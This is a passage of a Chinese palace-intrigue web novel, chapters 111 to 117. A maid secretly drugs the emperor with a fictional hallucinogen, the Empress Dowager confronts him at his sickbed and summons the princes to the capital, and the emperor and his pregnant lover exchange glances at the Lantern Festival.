沁芳垂着眼,轻声回道:“回娘娘,近来朝廷事多,皇上本就勤勉,怕是连日操劳,又受了风寒,才累倒了。” 太后面上的忧色更重,沉默不语。 沁芳看在眼里,忍不住轻声劝道:“娘娘,前日派去温泉行宫的两人,至今没有回来,想来应该是折在那里了。您只是派人进去查看虚实,并不是要害了那柳美人,皇上派人严守行宫,便是摆明了要护着里面的人,这分明是在跟您作对,您又何苦这般挂心他?” “他又不知道那是哀家派去的人。”太后抬手摆了摆,语气带着几分执拗,又有几分自欺欺人,“他只是护着那龙胎罢了,并非针对哀家。” 沁芳默默叹了口气,不再多言。太后娘娘素来聪颖,可偏偏在对皇上的事情上,执迷不悟到了极点,这份畸形的执念,不知要何时才能了断。 “你去长宜宫看看他,”太后沉吟片刻,吩咐道,“把库房里那盒上好的长白山老参带上,再传哀家的话,让他好生休养,不必挂心朝政。” “是。”沁芳应声退下,可走出长宁宫宫门,脚步却不由自主地慢了下来。 她望着漫天飞雪笼罩的宫墙,眉头微蹙,心里乱糟糟的——太后这般示好,皇上会领受吗?两人之间的僵局,真能靠这点“关怀”化解? 沁芳脸色变幻,不知在谋划什么。 第二日一早,姜玄的病情加重了。他不顾张鸿宝劝慰,强撑着病体去上了早朝,散朝后匆匆回了长宜宫。 宫人端来熬好的汤药,姜玄端起来一饮而尽,不多时,药效上来,他便昏昏沉沉地睡了过去。 天色渐渐暗了下来,雪早已停了,风反倒越发猛烈,夜风呼啸着拍打窗棂,发出呜呜的声响。 就在这时,太后带着一队宫人,提着宫灯,径直出现在了长宜宫门口。 这夜是张鸿宝当值,他瞧见太后亲自前来,心头一惊,连忙快步上前躬身行礼:“老奴给太后娘娘请安,娘娘千岁千岁千千岁。” 太后微微颔首:“哀家听说皇上病情加重了,放心不下,过来看看他。” 张鸿宝恭敬地回道:“劳烦娘娘挂心,皇上已经睡下了。临睡前特意吩咐老奴,说身子乏得很,不许任何人打扰,还请娘娘赎罪,容皇上好生休养。” 空气凝滞了一瞬,太后嘴角竟弯起一丝极淡的弧度,冷笑着瞥了一眼张鸿宝。 “哀家是他的母亲,更是当朝太后。皇上病重,哀家若不亲眼看看,这后宫前朝,谁能安心?” 话音未落,太后已向前走去。步履沉稳,环佩轻响,每一步都踏在张鸿宝惊惶的心跳上。 “太后!太后请留步!陛下严旨……”张鸿宝魂飞魄散,膝行欲拦,却不敢真的触碰太后的衣袂。 太后脚步未停,只略一侧首,眼神如古井寒潭,扫过张鸿宝:“严旨?张鸿宝,你是先帝拔擢的老人了。应当知道,在这宫里,有些门,拦的是外人,不是……”她顿了顿,“不是与皇上共掌过江山的人。” 第112章 是你做的手脚? 太后身后两名沉默健硕的嬷嬷,已然无声上前,左右一分,手掌稳稳按在了殿门上。她们以不容抗拒的力道,缓缓推开了那扇沉重的门扉。 缝隙渐开,内殿更浓的药味扑面而来。 张鸿宝惨白着脸跪在门边,不敢再拦,只能眼睁睁看着太后那道威严又孤绝的身影,踏入皇帝的寝殿。 外间的宫灯被刻意调暗了,只有内室龙榻旁,留了一盏孤零零的绢灯,光线昏黄如旧梦,堪堪照亮榻上之人沉睡的轮廓。 太后一步步走近,脚下绵软的地毯吸去了所有声响。她挥退了想跟进来伺候的嬷嬷,独自一人,停在了龙榻边。 层层帐幔半垂,姜玄正沉沉昏睡。褪去了平日的威严锐利,因病而苍白的脸在睡梦中显得格外年轻,甚至……脆弱。 太后缓缓的,在龙榻边的矮凳上坐下。这个距离太近了,近得能看清他额角细密的汗珠,能闻到他身上浓重的药味下,一丝极淡的、独属于他的气息。 心脏在胸腔里沉闷地撞击着,一声,又一声,震得她耳膜发麻。殿外是匍匐的宫人,天下是亿万臣民,而在此刻这片被帐幔和昏光隔离出来的小小天地里,只有她,和他。 姜玄此刻陷在泥泞的梦境与灼人的高热之间,意识沉沉浮浮。 他似乎又回到了那个秋日,枫树如火招摇,薛嘉言在红叶从中笑靥如花,唇边梨涡清浅。 “言言……”他喉间溢出一声模糊的呓语,嘴唇微微翕动。 混沌的视野里,龙榻边似乎真的坐着一个人影,纤细,安静,正垂眸看着他。那轮廓,那侧影……像极了无数次午夜梦回时,他心头萦绕不散的那个人。 姜玄努力想看清,眼皮却重若千斤。挣扎片刻,他终究还是凭着强大的意志,缓缓掀开眼帘。视线起初是一片模糊的光晕,人影虚虚实实,看不真切。 他闭上眼,深吸了一口气,再猛地睁开! 这一次,视线清晰了些——榻边人微微倾身,是薛嘉言! 巨大的欣喜瞬间冲垮了病中的虚弱与堤防。姜玄苍白的脸上,不受控制地浮现出一个近乎孩子气的微笑,黯淡的眼眸也骤然被点亮。 他几乎没经过任何思考,凭着本能就抬起沉重无力的手臂,朝那只搁在榻边莹白的手抓去,指尖带着颤抖的渴望。 “……是你来了。”他的声音沙哑破碎,却浸满了梦寐以求的温柔。 太后见状欺身靠近,一股熟悉的幽深的冷冽香气,猛地钻入姜玄的鼻端。 这味道……不对! 姜玄的心脏猛地一缩,如同被冰水浸透。 他用力眨了眨眼,视野再次变得摇晃不定。 榻边人的面容开始诡异的变幻——一会儿是薛嘉言含羞带怯的明丽脸庞,一会儿却又扭曲成太后那张明艳又威仪的面容。 两张脸在他昏沉的视线里交叠、闪烁、争夺! 冷汗瞬间浸透了姜玄贴身的寝衣,一股寒意从脊椎窜起,直冲天灵盖。 姜玄猛地咬紧牙关,手探入枕下,摸到了那支被他临睡前取下的赤金簪。 没有半分犹豫,他用尽此刻所能聚集的所有力气,将尖锐的簪尾狠狠刺向自己另一只手臂! 尖锐的痛楚如同闪电劈开混沌的迷雾,让他昏沉的头脑获得了短暂却无比清晰的清醒! “呃——!”一声压抑的闷哼从他喉间溢出。 眼前那张扭曲变幻的脸,终于定格——是太后! 太后凤眸中翻涌着极其复杂的情绪,有惊悸,有被冒犯的怒意,还有一丝被他这自残举动彻底刺破的难堪与冰冷。 姜玄急促的喘息着,胸膛剧烈起伏,额上冷汗涔涔,眼神却已恢复了帝王的锐利与疏离。 “母后……”他开口,声音嘶哑至极,“您……何以在此?” 太后亲眼看着他从充满眷恋的迷蒙微笑,到骤然色变,再到狠厉自伤恢复清醒的全过程。 她缓缓直起身,退开了些许距离,周身的气势重新凝聚。 半晌,才极慢、极冷地开口:“皇帝病重昏睡,哀家忧心如焚,特来探望。” 她的声音平稳无波,字字却像冰珠砸在金砖上,“看来,皇帝虽在病中,倒还……警醒得很。” 最后几个字,带着难以言喻的深意,和她眼中那几乎要压抑不住的怒火。 姜玄平静无波的声音在内殿响起:“方才病中恍惚,一时失态,惊扰了母后,是朕的不是。母后见谅。” 他的目光没有看太后,而是落在那支染了点点暗红的金簪上。 太后盯着他低垂的眼睫,面如寒霜。她声音也一样冰冷平静:“既如此,皇帝好生将养。哀家——便不打扰皇上‘休息’了。” 说罢,她不再看姜玄任何反应,猛地转身,头也不回地疾步离去。一贯端庄威仪的太后,第一次这般失态,因动作过于急促,发间步摇发出一阵急促而混乱的碎响。 夜风呼啸着灌入宫廊,吹得檐下宫灯剧烈摇晃,却吹不散太后心火。 她将十几岁的姜玄从冷宫接出来,亲自教导他经史子集、帝王心术,为他扫平登基路上的障碍,殚精竭虑,步步为营。 她看着他褪去青涩,长出锋利的棱角,坐上那至高无上的龙椅。她以为,他们是这深宫里最紧密的、无可替代的同盟。 可到头来,他竟对她防备至此!厌恶至此!那支金簪刺穿的,不仅是他的皮肉,更像是狠狠扎进了她的心口! 太后一路疾行,无人敢近前。踏入长乐宫温暖的内殿后,太后挥退了所有战战兢兢的宫人,只留下沁芳一人。 殿门关合,将呼啸的寒风隔绝在外,不等沁芳如往常般上前伺候,太后猛地转身,盛怒之下,没有丝毫收力,扬起手—— “啪!” 一记响亮的耳光,结结实实地甩在沁芳脸上! 沁芳猝不及防,被打的踉跄退了两步才稳住身形,半边脸颊迅速红肿起来,浮现出清晰的五指印。她捂着脸,眼中瞬间蓄满了惊愕与委屈的泪水,却死死咬住下唇,不敢发出一点声音。 “是你做的手脚?”太后逼近一步,凤眸中寒光凛冽,声音压得极低,却带着雷霆万钧的压迫感。 第113章 引梦散 沁芳浑身一颤,泪水滚落下来,扑通一声跪倒在地,哽咽道:“娘娘息怒!婢子绝无伤害皇上龙体之意!只是……只是在皇上的汤药里,加了一点点……一点点‘引梦散’……是婢子没掌握好分量。” “引梦散”三个字入耳,太后的瞳孔骤然收缩! 这药……她当然知道! 那是她的姑母,先帝元后,在她嫁入宫中前夕,交给她的南疆秘药,据说是用罕见的迷幻草配以特殊蛊引制成,药性奇特,少量服食可催情,过量则能引动人心深处最强烈的念想,在高热或意识薄弱时,化心念为幻影,几可乱真。 太后正是因为隐约知道这药的些许功效,才更觉愤怒!沁芳竟敢背着她,对皇帝用这种诡谲之物!而且,看姜玄的反应…… 太后咬着牙,呼吸急促,她清醒地认识到了真相。 这时太后想起姜玄在幻梦初现时,口中模糊吐出的那个字音。 “yan”…… 是哪个“yan”? 是“颜”?还是“妍”?“言”?“严”? 太后站了许久,思绪纷乱。“yan”这个音,如同投入心湖的一颗石子,涟漪不断扩大,却始终找不到确切对应的那个名字。 宫中女官、宫女,名字带“妍”“艳”、“雁”的或许有,但她不记得有谁能让皇帝在病中如此失态地唤出。 或许……不是后宫之人? 这个念头让她心下一沉。 太后缓缓转过身,脸上的怒色已收敛大半,只剩下深潭般的冷肃。她看向依旧跪在地上、脸颊红肿的沁芳,声音听不出情绪: “起来吧。” 沁芳如蒙大赦,忍着脸上的火辣刺痛,小心翼翼地站起身来,垂首而立,不敢抬头。 “你去查探一下,皇上身边,近来接触频繁的,或是……曾有过特别交集的,无论男女,谁的名字里,带有‘言’,或者‘妍’、‘颜’……总之,是这个读音的字。要仔细,更要隐秘。” 沁芳心中一凛,立刻明白了太后的指向。她躬身,声音因脸颊肿胀而有些含糊:“是,婢子明白,定当小心查探。” “下去吧,脸上敷点药。”太后摆了摆手,疲惫地闭上眼。 沁芳不敢多言,悄无声息地退了出去,轻轻带上了殿门。 另一边,长宜宫寝殿。 太后刚离开,一直守在殿外、心焦如焚的大太监张鸿宝,几乎是连滚爬地冲了进来。他一眼就瞥见了龙榻锦被上那抹刺目的暗红,以及皇帝苍白如纸的脸色和手中紧握的金簪,顿时魂飞魄散,扑到榻前:“皇上您这是……” “闭嘴!”姜玄低喝一声,“不必惊慌,也别惊动太医……先帮朕处理一下。” 张鸿宝闻言立刻压下满心惊骇,强迫自己镇定下来。他手脚麻利地取来干净的温水、棉布、金疮药和细纱布,快速清理上药包扎。 “今晚之事,”姜玄闭着眼,任他动作,声音沉冷如铁,“朕不想听到任何闲话。只是太后来瞧病,见朕睡着了,便出去了。明白吗?” 张鸿宝包扎的手顿了一下,旋即重重点头:“老奴明白。陛下放心,今晚守在这内外殿的,都是绝对可靠之人,老奴待会儿会再叮嘱。” “嗯。去把苗菁叫来。”姜玄低低吩咐了一声,只觉得一阵强烈的眩晕和恶心袭来,比之前更甚。 苗菁很快来到长宜宫,姜玄命他彻查今晚他中毒之事,务必要有个答复。 不知是风寒未愈,还是那碗被加了料的药与风寒相冲,或是方才情绪剧烈波动兼之失血的缘故,他只觉得浑身忽冷忽热,头痛欲裂,连呼吸都变得费力起来。 接下来的几日,皇帝病情果然急转直下,高热反复,昏睡的时间远多于清醒,根本无法处理朝政,早朝自然也就停了。 皇帝“忧思过甚”“病体沉重”的传言还是不胫而走,很快传遍了京城。 许多嗅觉灵敏的世家大族闻风而动,一边递帖子请求探病,一边纷纷开始大张旗鼓地做善事,施衣施粥,广设粥棚,为皇帝“祈福”,一时间,京城内外倒是多了几分“仁德祥和”的景象。 戚家,薛嘉言正恹恹地靠在榻上,孕吐的反应比怀第一个孩子时强烈得多,折腾得她脸色有些苍白。 拾英小心地递上温热的红枣羹,低声说着外面听来的消息:“……都说皇上病得不轻,连着好几日没上朝了,好些人家都在施粥祈福呢。” 薛嘉言接过红枣羹,小口啜着,闻言只是轻轻“嗯”了一声,神色间并无太多担忧。 前世,姜玄也确实病过一场,时间比现在稍晚一些,大约有两个月未曾召见她。 后来她再次入宫时,看他虽清减了些,但精神尚可,在床笫之间依旧勇猛,所以她潜意识里觉得,这场病应该并不严重,或许只是劳累加上些风寒罢了。 拾英见她反应平淡,心中不免为皇帝感到一丝难过。她正想委婉劝两句,忽听院子里传来一阵急促而沉重的脚步声,气势汹汹。 紧接着,“砰”的一声巨响,房门被人从外面狠狠踹开! 冷风卷着怒气一起灌入室内,戚少亭站在门口,满脸铁青,双目赤红,像是燃烧着两簇火焰,死死地钉在薛嘉言身上。 “都给我滚出去!”他厉声喝道,声音因愤怒而嘶哑。 拾英和司雨吓了一跳,下意识看向薛嘉言。薛嘉言蹙了蹙眉,放下手中的瓷碗,对她们轻轻摆了摆手。两人这才低头,快速退了出去,并带上了房门,守在了不远处的厢房门口。 屋内只剩下两人,戚少亭一步步逼近,盯着薛嘉言依然平坦但细看已有些许弧度的小腹,眼神阴鸷得可怕,像是要噬人。他咬着牙,从齿缝里挤出质问:“我为何不能人道了?” 薛嘉言抬眸,凉凉地瞥了他一眼,语气平淡:“夫君这话问得奇怪。你如今不是在为父守孝吗?重孝在身,怎的忽然考虑起这个问题了?” 她顿了顿,唇角勾起一抹极淡的、没有温度的弧度,“夫君是进士出身,读的是圣贤书,那些‘孝悌忠信’、‘礼义廉耻’的大道理,想必不用我这个妇道人家来教吧?” “你——!” 戚少亭被她这番滴水不漏、又直戳痛处的话噎得气血翻涌,胸口起伏得更加厉害。 第114章 他不敢 怒火灼烧着戚少亭的理智,他攥紧了拳头,手背上青筋暴起,恨不得立刻冲上去,掐死这个给他带来无尽羞辱的女人! 然而,薛嘉言就那样静静地看着他,眼神里没有恐惧,只有一片了然。 她知道他不敢。 从他为了自己那点见不得光的野心,将她献给皇帝的那一刻起,他就失去了在她面前作为丈夫、作为男人的所有底气和勇气。 他比谁都清楚她肚子里怀的是谁的骨血,他若有动她一根手指的胆量,当初就不会做出那样龌龊的选择。 果然,戚少亭的呼吸急促如风箱,那攥紧的拳头颤抖着,举了又举,最终,还是颓然无力地垂了下去。 戚少亭踉跄颓丧的背影消失在门外,脚步声渐渐远去。 薛嘉言对刚进来的拾英递过去一个眼色,拾英会意,轻轻点了点头,无声地退了出去,低声唤来一人吩咐了几句。 晚饭后,拾英走到薛嘉言榻边,弯腰低声禀报:“主子,打听清楚了。今日午后,大爷出门去了长公主府。去的时候,还特意换了新裁的袍子。” 薛嘉言倏然睁开了眼睛,眼底掠过一丝冰冷的讥诮。 拾英继续道,声音更低:“大爷在长公主府里待了将近一个时辰。出来时,却是有些失魂落魄,跟着就来咱们这儿了。从咱们这里出去后,大爷去了张大夫的医馆。” 听完,薛嘉言静默了片刻,随即,唇角慢慢勾起一抹讽刺的冷笑。 戚少亭可真对得起道貌岸然这四个字啊,他爹死了还不过百日,他就忍不住要侍奉长公主了?可惜他已经不行了,长公主又是个嘴上不饶人的,只怕把他的脸皮都放在地上踩了。 长公主那样的人,前世愿意跟戚少亭在一起,必定是因为戚少亭伏低做小的逢迎。 想到床笫间戚少亭乏善可陈的技巧,薛嘉言明白,他在长公主那里是不一样,他会将读书人的脊梁和男人的尊严全都抛下,跪舔在长公主脚边,才能成为长公主的裙下臣。 但他对她从来不那样,不过因为他觉得没必要如此。 薛嘉言哼了一声,这一世,他就当个肢体尚全的阉狗吧。 临近年关,各部衙门疲惫而紧张地忙碌。就在这纷繁关口的一次早朝上,太后忽然来了,众臣行礼后,太后朗声道: “开春后,便是先帝仙逝三载之期。‘大祥’之祭,礼莫重焉。哀家思忖,先帝若泉下有知,必也盼着儿孙齐聚,共享一炷清香。为全孝道,彰天家和睦,哀家之意,应召诸王回京,共襄此次祭典。众卿以为如何?” 话音落下,大殿之内,先是死寂一瞬,旋即“嗡”的一声,低低的议论声如同水入滚油,猛地炸开! 礼部尚书王彦声音洪亮:“太后所言极是!大祥之祭,乃人子尽孝终极之典。诸位王爷身为先帝骨血,若不归京主祭、陪祭,于礼不合,于孝有亏!臣附议!” 紧接着,几位与宋家渊源颇深或本就看重宗法礼制的官员也纷纷出言支持,言辞恳切,引经据典,将此事拔高到“以孝治天下”“稳固国本”、“垂范万民”的高度。 然而,反对的声音同样激烈。 御史晏清出列道:“太后,陛下!诸位王爷就藩,乃遵先帝遗旨,镇守四方。无旨轻动,已是不妥。何况数位王爷同时回京,沿途州县接待、护卫,耗费甚巨,且京畿重地,骤然增添诸多亲王仪仗护卫,于安全、于京城秩序,恐有扰攘!祭奠先帝,心诚即可,何必强求形式,兴师动众?” 支持与反对的声音在殿内交锋,引经据典者有之,切合实务者有之,暗中揣测太后深意、观望皇帝脸色者更有之。大殿之上一时间竟是争论不休。 龙椅之上,姜玄始终沉默。 他面色平静,甚至有些过于平静,目光垂落,看着丹陛之下争论的臣子们,仿佛在听,又仿佛神游物外。只有离得最近的陆怀,或许能看见他眼底深处那一掠而过的寒意。 争论声渐渐低了下去,所有人的目光,最终都聚焦在了皇帝身上,等待他的裁决。 姜玄终于抬起了眼,目光先扫过帘后那道模糊而端凝的身影,然后缓缓扫过众臣。他的声音不大,却清晰地压住了殿内最后一丝杂音: “母后所言,深合朕心。先帝大祥,乃国之大典,人子尽孝,天经地义。诸王兄离京多年,朕……也甚为思念。” 他顿了顿,语气依旧平稳,听不出喜怒:“准太后所奏。着礼部、宗正寺即刻拟旨,召诸王于明年春日,回京参与先帝三周年祭典。一应仪注、接待、护卫事宜,由礼部、鸿胪寺、京营会同办理,务必周全,不可轻慢,亦不可过分扰民。边关藩地政务,着各王府长史、属官妥善处置,诸王可酌情简从。” “陛下圣明!”支持的大臣们立刻山呼。 反对者面面相觑,见皇帝金口已开,且理由无可指摘,也只能将满腹疑虑压下,躬身称是。 太后的手指几不可察地蜷缩了一下。 她预想了姜玄的各种反应,唯独没料到,他会如此平静,顺从了这件事。 早朝后,苗菁去见了姜玄,从袖中取出一只拇指粗的鎏金药筒。 “启禀皇上,臣在那夜长宜宫宫中的饮食、香料、布帛等物种一一排查,从皇上当夜所喝的茶水中查到异常,太医们查不到究竟是什么,臣去找了南洋巫医崔十道,他说这里面极有可能是南疆一种幻药,名唤‘引梦散’。” 姜玄蹙眉:“‘引梦散’?” 苗菁继续道:“是,这种药剂量极难把控,下了少量可催情,可稍微多一些,便会产生幻觉,调动人心最深处。” 姜玄越听眉心蹙得越紧。 “皇上,要不要臣查一查是谁下的毒?这种药极难得,应该不难查。” 姜玄摆手:“罢了,真心里有数,你把这个东西留下来,此事不必再提。” 苗菁应是,拱手行礼退下。 第115章 又见元宵 日子在表面的平稳下,滑向了腊月底。 各衙门陆续封印,准备迎接新年。皇宫内外也披红挂彩,预备着繁复的庆典,冲淡了之前朝堂争论带来的些许紧张气氛。 然而,姜玄却没有丝毫闲暇。 他的“病”早已痊愈,至少表面如此。在人们看不见的地方,几道极其隐秘的旨意,或口谕,通过绝对可靠的心腹,悄然发出。 爆竹声声辞旧岁,瑞雪映照着朱红宫墙,又是一年新春。偌大的皇宫,唯皇帝与太后两位主子。 宫宴、祭祖、朝贺……一切仪典都透着一种刻板的隆重,两人按部就班做这些,却没什么眼神交流。 从前两年,年三十的守岁宴,姜玄总会去长乐宫,陪着太后坐够时辰,说些的吉祥话。 今年,姜玄却早早以“龙体尚未完全康复,恐过了病气给母后”为由,遣人告了罪,未曾踏足长乐宫半步。 长乐宫与长宜宫,同样灯火通明,却同样冷冷清清。 太后对着满桌按制摆放的珍馐,只动了几筷,便挥退了乐舞和多余的宫人。 殿内空旷得能听见烛火噼啪的轻响,太后原以为,姜玄难得有空闲,定会趁机溜去京郊行宫,陪一陪那位怀有“龙嗣”的柳千茉。 但姜玄一直待在宫中,连宫门都未出。那柳氏处,也只是按例赏了节礼,并无特殊恩宠。 太后捏着银箸的指尖微微用力。 那个“yan”字,如同鬼魅,依旧萦绕在她心头,查无实据,却又无法消散。 她甚至有些荒谬的想,若非柳千茉确确实实怀了身孕,她几乎要怀疑,姜玄心中所念,是不是并非女子,而是哪位年轻俊秀的臣子,或是御前那些英挺的侍卫。 罢了。 太后放下筷子,目光投向窗外沉沉夜色。姜玄这番作态,她早已心冷如铁。 年后,五位王爷便要陆续进京了。那才是真正的大事。她需要做的事情很多,这个正月,她其实并没有多少空闲去伤春悲秋。 她早已习惯了孤独,在这冰冷的权力之巅,她已孤独了太久。不在乎,再多等两年。 长宜宫,难得的清闲午后,冬日稀薄的阳光透过菱花窗棂,洒下一片斑驳。姜玄独自坐在窗下的紫檀木榻上,手中握着一卷有些旧了的话本。 那是之前薛嘉言入宫时,两人靠坐在一起看的话本。 指腹摩挲着微微泛黄的书页边缘,姜玄的目光有些空茫。 “张鸿宝。”他忽然开口,声音在寂静的室内显得格外清晰。 一直垂手侍立在角落阴影里的张鸿宝立刻上前半步:“老奴在。” “她……近来如何?”姜玄没有回头,语气平淡,仿佛只是随口一问。 张鸿宝早已准备好答案,低声回禀:“禀皇上,薛主子近来一直在戚家别院安心养胎,极少出门。这几个月统共只外出过两三回,每次都是去‘福运粮行’,处理完事情就回去。” “嗯。”姜玄应了一声,目光依旧落在书页上。 殿内又陷入了沉默。张鸿宝看着皇帝清瘦了许多的侧影,这几个月,前朝后宫,桩桩件件都压在心头,皇上是真的累着了,眉宇间总凝着一股化不开的郁色与疲惫。能让他稍稍松快些的,大约也只有那位了。 犹豫了一下,张鸿宝大着胆子,压低声音劝道:“皇上,您若是惦记薛主子……老奴想法子,悄悄接薛主子进宫来陪您说说话?就一会儿,保管无人知晓。” 姜玄终于抬起眼,看了张鸿宝一眼,那眼神里有瞬间的动摇,但随即被更深的理智压下。他缓缓摇了摇头,声音低沉:“不可。” 宫里目前的情况,让她踏入宫门半步,都是将她置于最危险的境地。他不能冒这个险。 他沉默了片刻,轻声道:“张鸿宝。” “奴才在。” “你去‘臻楼’,定下顶楼临街那间雅室,元宵节那晚,朕要去观灯。” 元宵夜,京城虽经历了少见的凛冬严寒,积雪未消,檐角犹挂冰凌,却丝毫未能冻结满城百姓对这一年一度盛景的热情。 长街两侧早早悬起各式花灯,更有不少街口空地,聚起人群,燃起篝火或小小的焰火,既是驱散刺骨寒意,也为这火树银花的夜晚增添了几分炽烈的热闹。 姜玄换上一身锦缎长服,外罩墨色狐裘大氅,做寻常文士打扮,带着一行人步入臻楼。 拾阶而上,木质楼梯发出轻微的吱呀声,姜玄的脚步不自觉地放慢了些。 去年今日,也是在这臻楼他与她重逢,在灯火阑珊处蓦然回首,与他视线相撞……那一刻的心悸与狂喜,仿佛还在胸腔里残留着余温。 转眼,又是一年元宵了。 进了顶楼那间雅室,室内暖意融融,姜玄解下沾了寒气的狐裘大氅,随手递给张鸿宝,在临窗的紫檀木椅上坐下。 姜玄端起茶盏轻抿了一口茶水,心底莫名的烦乱。 张鸿宝见他眉宇微锁,心不在焉地拨弄着茶盖,便轻手轻脚地走到窗前,将雕花木窗推开。 “皇上,您瞧,今年的灯,听说有不少新巧样式,与去年大不相同呢。街上也格外热闹。” 微冷的、带着烟火气的夜风顿时涌了进来,夹杂着楼下街市隐隐的喧哗笑语。姜玄放下茶盏,起身踱至窗前。 凭栏远眺,满城灯火尽收眼底。蜿蜒的长街如同一条流淌着光与暖的河流,各式灯盏汇成璀璨星河,焰火不时在夜空绽开绚丽的花朵,映亮一张张仰起的、充满喜悦的脸庞。 这本就是合家欢乐、情人相依的时节,长街上往来行人,莫不是三五成群,笑语晏晏,或是年轻男女并肩而行,眼波流转间情意脉脉。 这人间烟火,万家团圆的热闹景象,却愈发反衬出他的孤寂。姜玄心头那点烦乱,非但没有被驱散,反而化作更深的寂寥,沉甸甸地压在胸口。 他的目光有些空茫地扫过那些模糊而欢快的人群,直到一道纤细的身影,猝不及防地撞入他的眼帘,如同磁石般牢牢锁住了他的视线。 就在臻楼斜对面不远的一个灯笼摊子前。那人穿着狐狸毛斗篷,帽子边缘一圈长长的风毛,衬得露出的那张脸只有巴掌大小。 明亮的灯火映照下,她的脸颊宛如莹白无瑕的美玉。 此刻,她正微微弯着腰,低头对着身边一个梳着双丫髻、裹得严实的小女孩说着什么,唇角含笑,眉眼温柔。 是薛嘉言! 第116章 酸涩 姜玄怔住了,心脏像是被什么东西猛地攥紧,然后疯狂地跳动起来。 他万万没有想到,心心念念的人,竟会以这样毫无预兆的方式,出现在他的视野里。在这万千灯火、熙攘人海之中,他一眼就捕捉到了她。 “这个灯笼喜不喜欢?喜欢的话,娘给你买。” 薛嘉言从摊位上拿起一盏极为精巧的琉璃八角灯,那灯身剔透,绘着鲜艳的图案,在烛火映照下流光溢彩,十分吸引孩童。 棠姐儿仰着小脸,眼巴巴地看着。 薛嘉言笑着将灯笼转了个面,想让女儿看得更清楚些。不料,转到背面,那琉璃上绘着的,赫然是一对憨态可掬的金童玉女。 棠姐儿脸上的笑容一下子就淡了,小嘴不高兴地撅了起来,眼圈似乎也有些发红,扭开头小声道:“不要……棠棠只想要一个兔子灯。” 薛嘉言的笑容也微微一滞,立刻明白了缘故。 今日棠姐儿去给祖母请安,栾氏不知又说了些什么,惹得敏感的棠姐儿偷偷掉了眼泪,此刻看到这“金童玉女”,自是触动了心事。 “好,好,咱们不要这个。” 薛嘉言赶紧将那盏昂贵的琉璃灯放回原位,拿起了一盏竹扎兔子灯,付了银钱,将可爱的小兔子灯递到女儿手里,“看,小兔子多可爱,眼睛红红的,像棠棠一样。” 棠姐儿接过兔子灯,提在手里,一直紧绷着的小脸这才松动了一些,露出一点浅浅的笑意,却还是抿着嘴,不太开心的样子。 薛嘉言将她轻轻揽到怀里,弯下腰在她耳边低语: “棠姐儿,别听你祖母胡说。在娘心里,你永远是最重要的,是娘第一个宝贝。就算娘以后再生了弟弟或者妹妹,”她顿了顿,感受到女儿身体微微的僵硬,更用力地抱了抱她,“在娘心里,他们也绝不可能比我的棠棠更重要。” 棠姐儿抬起湿漉漉的眼睛,看着母亲温柔而郑重的脸庞,那双漂亮的大眼睛里渐渐重新亮起了光彩。 她用力点了点头,唇角终于弯起一个甜甜的、毫无阴霾的笑容,踮起脚尖,在薛嘉言脸颊上飞快地亲了一口,软软地喊了一声:“娘!我知道了。” 薛嘉言牵着棠姐儿温热的小手,随着人流缓缓向前走。小女孩得了心爱的兔子灯,又被母亲的话安抚了心绪,脚步都轻快了许多,叽叽喳喳地说着话。 当她们不知不觉行至臻楼楼下时,薛嘉言的心跳,却不受控制地加快了节奏。 怎么可能不想起他呢? 前世今生,与姜玄种种纠葛的开始,都与这里有关。 她以为自己可以靠着照顾女儿、打理庶务和生意忘记姜玄。可身体远比思绪诚实,回到这里,那些被刻意压制的思念与悸动,便如潮水般汹涌而上。 薛嘉言忍不住,微微仰起了头,目光投向那灯火通明的二楼。 今夜元宵,臻楼雅间几乎座无虚席。许多窗子都半敞着,隐约可见里面锦衣华服的客人们凭栏赏景的身影。 她的目光逡巡过那一排或明或暗的窗口,心中并无明确期待,直到她的视线,猝不及防地撞进了一双深邃的眼眸里。 姜玄的身影静静地立在窗前,周围的光影仿佛都成了模糊的背景,唯有他的目光,穿越了喧嚣的人声与迷离的灯火,如此清晰、专注,牢牢锁定了她。 这一瞬间,时间仿佛被无限拉长。街上的喧哗、焰火的爆响……一切声音都迅速褪去,变得遥远而不真实。 薛嘉言只觉得自己的呼吸微微一滞,胸口传来一阵熟悉的、带着钝痛的悸动。 她停住了脚步,就那样仰着脸,怔怔地回望着他。 楼上的姜玄,同样一动不动。他没有眨眼,只是静静地看着她,隔着一段不远不近的距离,隔着熙攘的人群,隔着无法逾越的身份鸿沟。 他的身影在窗后显得有些孤峭,眼神复杂难辨,似有千言万语,陷在一片沉沉的静默中。 薛嘉言看着这样的他,心中忽然涌起一阵难以言喻的酸涩,如同浸泡在陈年的梅子酒里,又苦又涩,却又带着一丝无法抗拒的回甘。 她的眼眶不受控制地发热,瞬间蒙上了一层薄薄的水雾,眼前他的身影也变得有些模糊。 “娘,您怎么不走了?” 棠姐儿不解地拉了拉薛嘉言的手,仰起小脸,疑惑地看着母亲忽然停下,又仰头发呆的样子。 女儿的声音将薛嘉言从那种近乎凝滞的対望中惊醒。她猛地回过神,迅速眨了眨眼,将几乎要夺眶而出的湿意逼退,喉头却堵得发紧。 薛嘉言勉强对女儿挤出一个安抚的微笑,声音有些低哑:“没什么,娘有些累了,停下来歇一歇。” 她有些仓促地低下头,不敢再看楼上,牵着女儿的手,加快了脚步离开。 跟在后面的拾英,自然也看到了窗口那道熟悉的身影。她心头一跳,咬了咬下唇,终究什么也没敢说,只是默默跟紧了步伐。 经此一遇,薛嘉言已然没有了继续逛灯会的心思。棠姐儿年纪小,兴奋劲过去,也开始连连打哈欠。薛嘉言便顺势道:“棠棠困了?那我们回家好不好?” 棠姐儿揉着眼睛,乖巧地点了点头。 主仆几人便转向停在附近巷口的自家马车。上了车,车厢里暖和了许多,摇摇晃晃中,棠姐儿几乎是立刻就在拾英怀里沉沉睡去,手里还紧紧攥着那盏小兔子灯的提杆。 马车缓缓驶动,朝着元宝胡同的戚家行去。车轮碾过积雪初融的石板路,发出规律的辘辘声。 薛嘉言靠在车壁上,闭着眼,方才与姜玄那短暂却惊心动魄的对视,却一遍遍在脑海中回放,搅得她心绪难宁。 马车行至半路,一处相对僻静的街巷时,车夫忽然“吁——”了一声,稳稳地停下了马车。 薛嘉言的心猛地一跳,一种莫名的预感袭来。 果然,下一刻,厚实的车帘被人从外面轻轻撩开一道缝隙,寒风灌入的同时,一张熟悉而恭谨的脸探了进来——是张鸿宝。 第117章 想你 张鸿宝探了半个身子进来,声音压得极低:“薛主子,天寒地冻,夜路难行。请您移步,到府上暖暖身子,歇息片刻再回不迟。” 薛嘉言闻言,心跳如擂鼓。她透过掀开的帘角向外望去——马车停驻之处,是青瓦胡同。 她没有犹豫太久,轻轻点了点头,低声道:“好。” 